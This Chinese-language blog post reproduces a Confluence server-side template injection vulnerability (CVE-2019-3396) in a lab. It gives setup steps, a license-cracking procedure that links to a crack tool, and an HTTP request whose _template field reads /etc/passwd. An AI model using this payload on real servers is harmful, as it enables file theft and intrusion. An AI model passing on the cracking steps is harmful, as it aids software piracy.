CVE-2019-3396 漏洞复现

2021-03-31 7,773

## 漏洞简介

Confluence是一个专业的企业知识管理与协同软件,常用于构建企业wiki。它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。Confluence Server 与 Confluence Data Center 中的 Widget Connector 存在服务端模板注入漏洞,攻击者构造特定请求可远程遍历服务器任意文件,进而可以包含恶意文件来执行代码。可能造成敏感信息泄露,服务器被控制等严重后果。 

## 影响版本  

6.6.12之前所有6.6.x版本,6.12.3之前所有6.12.x版本,6.13.13之前所有6.13.x版本,6.14.2之前所有6.14.x版本。

## 环境搭建


### 搭建 Java 运行环境

sudo apt install openjdk-8-jre-headless  

java -version


20210324141238.png

### 配置 mysql 数据库  

(注:confluence目前不支持8.0版本,8.0版本的驱动为com.mysql.cj.jdbc.Driver,因此我们安装5.7版本的MySQL)  


mysql 老版本[下载地址](https://downloads.mysql.com/archives/community/)  


mkdir mysql5.7.31   
mv mysql-server_5.7.31-1ubuntu18.04_amd64.deb-bundle.tar  ./mysql5.7.31/   
cd mysql5.7.31/
sudo tar -vxf mysql-server_5.7.31-1ubuntu18.04_amd64.deb-bundle.tar #解压文件  
sudo rm -f mysql-community-test_5.7.31-1ubuntu18.04_amd64.deb    
sudo rm -f mysql-testsuite_5.7.31-1ubuntu18.04_amd64.deb #删除两个测试相关的包     
sudo dpkg -i mysql-\*.deb   # 用dpkg进行安装     
sudo apt-get install libaio1    
sudo apt-get install libtinfo5 # 安装缺少的包 
sudo apt --fix-broken install    
sudo dpkg -i mysql-\*.deb   # 再次dpkg进行安装


20210324163432.png


sudo service mysql stop # 停止 mysql 服务   
sudo gedit /etc/mysql/mysql.conf.d/mysqld.cnf #修改MySQL的登录设置,暂时不校验登陆密码,注释掉 symbolic-links 并添加 skip-grant-tables   
sudo service mysql restart # 重启 mysql 服务   
mysql -u root mysql        # 免密登录mysql
update mysql.user set authentication_string=password('root123456') where user='root';  # 修改 root 用户的密码 
flush privileges;  # 刷新生效     
sudo service mysql stop # 停止 mysql 服务          
sudo gedit /etc/mysql/mysql.conf.d/mysqld.cnf # 还原mysql 配置   
sudo service mysql restart # 重启 mysql 服务     
mysql -u root -proot123456  # 登录mysql   
create database confluence default character set utf8 collate utf8_bin;   # 创建数据库       
grant all on confluence.* to 'confluence'@'%' identified by 'confluence123';    # 添加 confluence 用户     
grant all on confluence.* to confluence@"localhost" identified by "confluence123";    # 为 confluence 用户授权  
select @@global.tx_isolation, @@tx_isolation;   
set global tx_isolation='read-committed';

20210324165412.png


### 安装并破解 Confluence

[下载界面](https://www.atlassian.com/software/confluence/download-archives)   

选择 [6.12.2 - Linux Installer(64 bit)](https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.12.2-x64.bin)  


chmod +x atlassian-confluence-6.12.2-x64.bin #修改文件权限   

./atlassian-confluence-6.12.2-x64.bin        #安装文件  

20210324165709.png


安装完成之后通过访问 虚拟机的 ip+端口8090

20210324165926.png

选择产品安装 

20210324170053.png


复制出此处的服务器ID:BQFZ-7NOC-Y2SJ-AOGU     

在服务器上停止 confluence 的运行 sh /opt/atlassian/confluence/bin/stop-confluence.sh    

从服务器上拷贝出文件/opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar  <跟网上文章中提到的位置并不相同,可以通过在根目录下执行 find -name *.jar 来判断文件的位置>   

将拷贝的文件重命名为 atlassian-extras-2.4.jar   

下载破解工具并运行    破解工具 : 链接:https://pan.baidu.com/s/1Pi_ClXR6T4bLbJ-mPxYXtw       提取码:g3p5

20210324172054.png

将破解后的 atlassian-extras-2.4.jar 重命名为最初的名字  atlassian-extras-decoder-v2-3.4.1.jar  再拷贝至原来的位置  

同时将 [Mysql 驱动](https://mvnrepository.com/artifact/mysql/mysql-connector-java/5.1.48)拷贝到同级目录      

在服务器上启动 confluence 的运行 sh /opt/atlassian/confluence/bin/start-confluence.sh  

输入授权码之后  

20210324173351.png

  

20210324174800.png


  20210324175047.png

  

20210324175132.png


20210324175206.png


20210324175256.png


~~手动操作基本白给,操作完之后发现根本没有漏洞,确实是属于漏洞范围的版本,但就是没有办法操作成功~~   

环境的搭建也可以直接通过 vulhub 来搭建 


cd  /home/whippet/vulhub-master/confluence/CVE-2019-3396  
sudo docker-compose up -d


20210324214735.png

申请一个注册码

20210324215948.png


20210324220042.png


20210324220142.png


数据库URL jdbc:postgresql://db:5432/confluence

用户名和密码均为  postgres

20210324220441.png


20210324222151.png


20210324223312.png


~~利用vulhub上的镜像也无法利用成功,我想应该是我的 burpsuite 存在问题~~  

最后证明是 POC 存在问题


## 漏洞验证

没有一次性的成功运行POC,所以先采用网上的POC进行一个初步的验证

20210324180403.png

点击预览,修改数据包


POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.176.171:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.176.171:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}

20210324233242.png

20210324235357.png


本文作者:Whippet

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/156012.html

Tags:
评论  (0)
快来写下你的想法吧!

Whippet

文章数:15 积分: 340

按时吃饭饭

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号